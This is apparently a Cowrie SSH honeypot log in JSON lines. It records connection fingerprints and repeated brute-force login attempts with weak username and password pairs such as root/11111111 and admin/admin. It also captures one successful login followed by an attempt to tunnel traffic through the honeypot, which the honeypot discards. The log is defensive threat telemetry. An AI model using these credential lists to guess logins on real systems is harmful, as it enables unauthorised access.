{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:11:33.769832Z","src_ip":"172.237.20.62","session":"e1277a57f1f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql123","message":"login attempt [mysql/mysql123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:11:34.310733Z","src_ip":"172.237.20.62","session":"e1277a57f1f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:11:35.478090Z","src_ip":"172.237.20.62","session":"e1277a57f1f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":40844,"dst_ip":"159.203.135.109","dst_port":22,"session":"956613fd261c","protocol":"ssh","message":"New connection: 172.237.20.62:40844 (159.203.135.109:22) [session: 956613fd261c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:11:44.586142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:11:44.591079Z","src_ip":"172.237.20.62","session":"956613fd261c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:11:44.753922Z","src_ip":"172.237.20.62","session":"956613fd261c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1","message":"login attempt [postgres/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:11:45.243186Z","src_ip":"172.237.20.62","session":"956613fd261c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:11:46.408984Z","src_ip":"172.237.20.62","session":"956613fd261c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":36916,"dst_ip":"159.203.135.109","dst_port":22,"session":"164b2f958ef2","protocol":"ssh","message":"New connection: 172.237.20.62:36916 (159.203.135.109:22) [session: 164b2f958ef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:11:55.641024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:11:55.646019Z","src_ip":"172.237.20.62","session":"164b2f958ef2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:11:55.806644Z","src_ip":"172.237.20.62","session":"164b2f958ef2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"rdpuser","message":"login attempt [rdpuser/rdpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:11:56.288656Z","src_ip":"172.237.20.62","session":"164b2f958ef2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:11:57.450884Z","src_ip":"172.237.20.62","session":"164b2f958ef2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":2410,"dst_ip":"10.17.0.5","dst_port":22,"session":"440242d3d8c9","protocol":"ssh","message":"New connection: 87.251.64.176:2410 (10.17.0.5:22) [session: 440242d3d8c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:12:04.138110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:12:04.143377Z","src_ip":"87.251.64.176","session":"440242d3d8c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:12:04.241009Z","src_ip":"87.251.64.176","session":"440242d3d8c9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:12:04.537611Z","src_ip":"87.251.64.176","session":"440242d3d8c9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:12:04.637564Z","session":"440242d3d8c9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:12:04.737182Z","src_ip":"87.251.64.176","session":"440242d3d8c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:12:04.970565Z","src_ip":"87.251.64.176","session":"440242d3d8c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":52724,"dst_ip":"159.203.135.109","dst_port":22,"session":"b645e6db5639","protocol":"ssh","message":"New connection: 172.237.20.62:52724 (159.203.135.109:22) [session: b645e6db5639]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:12:06.637390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:12:06.642728Z","src_ip":"172.237.20.62","session":"b645e6db5639","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:12:06.809949Z","src_ip":"172.237.20.62","session":"b645e6db5639","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111111","message":"login attempt [root/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:12:07.294866Z","src_ip":"172.237.20.62","session":"b645e6db5639","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:12:08.459104Z","src_ip":"172.237.20.62","session":"b645e6db5639","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":47224,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3fef4847c7a","protocol":"ssh","message":"New connection: 172.237.20.62:47224 (159.203.135.109:22) [session: e3fef4847c7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:12:17.366183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:12:17.371343Z","src_ip":"172.237.20.62","session":"e3fef4847c7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:12:17.534919Z","src_ip":"172.237.20.62","session":"e3fef4847c7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123","message":"login attempt [root/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:12:18.027818Z","src_ip":"172.237.20.62","session":"e3fef4847c7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:12:19.195318Z","src_ip":"172.237.20.62","session":"e3fef4847c7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":58698,"dst_ip":"10.17.0.5","dst_port":22,"session":"76bf8d36057d","protocol":"ssh","message":"New connection: 80.94.92.184:58698 (10.17.0.5:22) [session: 76bf8d36057d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:12:26.779432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:12:26.850154Z","src_ip":"80.94.92.184","session":"76bf8d36057d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:12:27.003115Z","src_ip":"80.94.92.184","session":"76bf8d36057d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"12345678","message":"login attempt [solana/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:12:27.415385Z","src_ip":"80.94.92.184","session":"76bf8d36057d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":46248,"dst_ip":"159.203.135.109","dst_port":22,"session":"5be7700d2c62","protocol":"ssh","message":"New connection: 172.237.20.62:46248 (159.203.135.109:22) [session: 5be7700d2c62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:12:28.400367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:12:28.405209Z","src_ip":"172.237.20.62","session":"5be7700d2c62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:12:28.540999Z","src_ip":"80.94.92.184","session":"76bf8d36057d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:12:28.568345Z","src_ip":"172.237.20.62","session":"5be7700d2c62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test1234","message":"login attempt [root/Test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:12:29.103363Z","src_ip":"172.237.20.62","session":"5be7700d2c62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:12:30.270111Z","src_ip":"172.237.20.62","session":"5be7700d2c62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":55840,"dst_ip":"159.203.135.109","dst_port":22,"session":"64019ae57d86","protocol":"ssh","message":"New connection: 172.237.20.62:55840 (159.203.135.109:22) [session: 64019ae57d86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:12:39.291861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:12:39.299833Z","src_ip":"172.237.20.62","session":"64019ae57d86","protocol":"ssh"}
